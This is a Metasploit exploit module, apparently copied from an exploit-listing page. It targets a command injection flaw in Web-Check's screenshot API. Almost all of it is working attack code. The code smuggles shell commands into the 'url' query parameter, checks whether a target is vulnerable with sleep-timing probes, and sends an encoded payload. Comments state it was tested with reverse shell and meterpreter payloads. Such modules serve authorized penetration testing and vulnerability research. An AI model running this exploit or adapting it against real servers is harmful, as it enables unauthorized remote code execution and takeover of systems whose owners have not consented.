Share
## https://sploitus.com/exploit?id=PACKETSTORM:213735
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'rex/stopwatch'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Web-Check Screenshot API Command Injection RCE',
            'Description' => %q{
              This module exploits a command injection vulnerability in Web-Check's `/api/screenshot` endpoint.
              The `directChromiumScreenshot()` function uses `child_process.exec()` with unsanitized user input,
              allowing command injection via URL query parameters. The vulnerability was patched in commit
              0e4958aa10b2650d32439a799f6fc83a7cd46cef by replacing `exec()` with `execFile()`.
            },
            'Author' => [
              'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-32778'],
              ['URL', 'https://github.com/Lissy93/web-check'],
              ['URL', 'https://github.com/Lissy93/web-check/commit/0e4958aa10b2650d32439a799f6fc83a7cd46cef']
            ],
            'Platform' => %w[unix linux win],
            'Arch' => [ARCH_CMD],
            'Payload' => {
              'DisableNops' => true,
              'Encoder' => 'cmd/base64'
            },
            'Targets' => [
              [
                'Unix/Linux Command',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'Payload' => {
                    'Space' => 131068
                  }
                  # tested with cmd/unix/reverse_bash
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'Payload' => {
                    'Space' => 2000
                  }
                  # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2025-04-12',
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'RPORT' => 3000
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to Web-Check', '/'])
        ])
      end
    
      def build_url(command = nil)
        return Faker::Internet.url if command.nil?
    
        param = Faker::Alphanumeric.alphanumeric(number: rand(4..10))
        "http://#{Faker::Internet.domain_name}?#{param}=\";#{command}\""
      end
    
      def send_screenshot_request(command = nil)
        url = build_url(command)
        send_request_cgi({
          'uri' => normalize_uri(target_uri.path, 'api', 'screenshot'),
          'method' => 'GET',
          'vars_get' => { 'url' => url }
        })
      end
    
      def check
        res, baseline_elapsed = Rex::Stopwatch.elapsed_time do
          send_screenshot_request
        end
    
        return CheckCode::Unknown("#{peer} - No response from web service") unless res
        return CheckCode::Safe('Screenshot API endpoint not found') if res.code == 404
    
        network_latency = [baseline_elapsed, 0.3].max
        vprint_status("Testing command injection (baseline: #{baseline_elapsed.round(2)}s)")
        sleep_tests = [2, 3, 4].map do |duration|
          _, elapsed = Rex::Stopwatch.elapsed_time do
            send_screenshot_request("sleep #{duration}")
          end
          threshold = duration - network_latency
          vprint_status("Sleep #{duration}s: #{elapsed.round(2)}s (threshold: #{threshold.round(2)}s)")
          { elapsed: elapsed, threshold: threshold }
        end
    
        passed_tests = sleep_tests.count { |test| test[:elapsed] >= test[:threshold] }
    
        case passed_tests
        when 2..3
          return CheckCode::Vulnerable('Command injection vulnerability confirmed via sleep timing')
        when 1
          return CheckCode::Detected('Screenshot API endpoint exists and may be vulnerable')
        end
    
        return CheckCode::Detected('Screenshot API endpoint exists but RCE not confirmed') if res.code == 200 && res.body.to_s.include?('image')
    
        CheckCode::Unknown('Could not determine vulnerability status')
      end
    
      def exploit
        vprint_status('Sending payload via screenshot API')
        send_screenshot_request(payload.encoded)
      end
    end